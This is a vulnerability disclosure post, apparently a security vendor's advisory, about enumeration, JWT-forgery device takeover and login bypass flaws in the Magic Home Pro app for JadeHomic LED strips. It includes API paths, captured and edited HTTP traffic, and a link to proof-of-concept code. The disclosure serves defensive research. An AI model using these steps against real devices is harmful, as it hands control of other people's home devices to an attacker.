LevelBlue Completes Acquisition of Cybereason. Learn more
Get access to immediate incident response assistance.
Get access to immediate incident response assistance.
LevelBlue Completes Acquisition of Cybereason. Learn more
With the prevalence of IoT devices flooding the mainstream marketplace, we tend to see a large proliferation of these devices lacking even basic security controls. Many of these devices are targeted for mainstream household environments and due to often unfettered internet access and device control through insecure mobile applications, this makes such devices a great playground for security researchers and malicious actors alike. One such device is the JadeHomic RGB Led Light Strip Kit and its associated mobile device application Magic Home Pro. I decided to turn my attention to investigating the security of this device and managed to uncover multiple vulnerabilities that could theoretically affect millions of devices.
Figure 1: Magic Home Pro App and JadeHomic LED Kit
This vulnerability allows for any authenticated user to utilize their current authorization level to interrogate and control devices that are not currently apart of their registered account. This attack uses an API call to '/app/getBindedUserListByMacAddress/ZG001?macAddress=
Figure 2: MAC and Account enumeration
After a successful enumeration of targeted devices, it was further possible to use the discovered 'userID' and 'uniID' within a forged JWT payload section to conduct a device takeover of another users' device. Utilizing a well-known JWT signature-bypass vulnerability, it was found that a malicious actor could take over a device of another user and therefore place it under the full control of the malicious actor. This attack uses an API call to '/app/shareDevice/ZG001' coupled with the 'friendUserID' JSON parameter to add the device to the attacker's device list. This gives the attacker full control of the endpoint device.
Utilizing the enumerated information above, an attacker is able to login to the mobile application using HTTP response manipulation. This results in an authentication bypass.
Original HTTP Login Request via Magic Home Pro Mobile app
POST /app/login/ZG001 HTTP/1.1
User-Agent: Magic Home/1.5.1(ANDROID,9,en-US)
Accept-Language: en-US
Accept: application/json
token:
Content-Type: application/json; charset=utf-8
Content-Length: 117
Host: wifij01us.magichue.net
Connection: close
Accept-Encoding: gzip, deflate
{"userID":"
","password":"
","clientID":"
"}
Original HTTP Response
HTTP/1.1 200
Server: nginx/1.10.3
Date: Thu, 08 Oct 2020 00:08:45 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 37
{"code":10033,"msg":"Password error"}
Edited HTTP Response
HTTP/1.1 200
Server: nginx/1.10.3
Date: Mon, 06 Jul 2020 12:32:02 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 907
{"code":0,"msg":"","data":{"webApi":"wifij01us.magichue.net/app","webPathOta":"http://wifij01us.magichue.net/app/ota/download","tcpServerController":"TCP,8816,ra8816us02.magichue.net","tcpServerBulb":"TCP,8815,ra8815us02.magichue.net","tcpServerControllerOld":"TCP,8806,mhc8806us.magichue.net","tcpServerBulbOld":"TCP,8805,mhb8805us.magichue.net","sslMqttServer":"ssl://192.168.0.112:1883","serverName":"Global","serverCode":"US","userName":"
","userEmail":"
","userUniID":"
"},"token":"
"}
At this time no patch is currently available for this issue however in order to limit the exposure it is recommended that network access to these devices should be permitted to authorized users only through the use of proper Access Control Lists and network segmentation.
TWSL2020-010: Multiple Vulnerabilities in Magic Home Pro Mobile Application
POC code: https://github.com/9lyph/CVE-2020-27199
LevelBlue is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.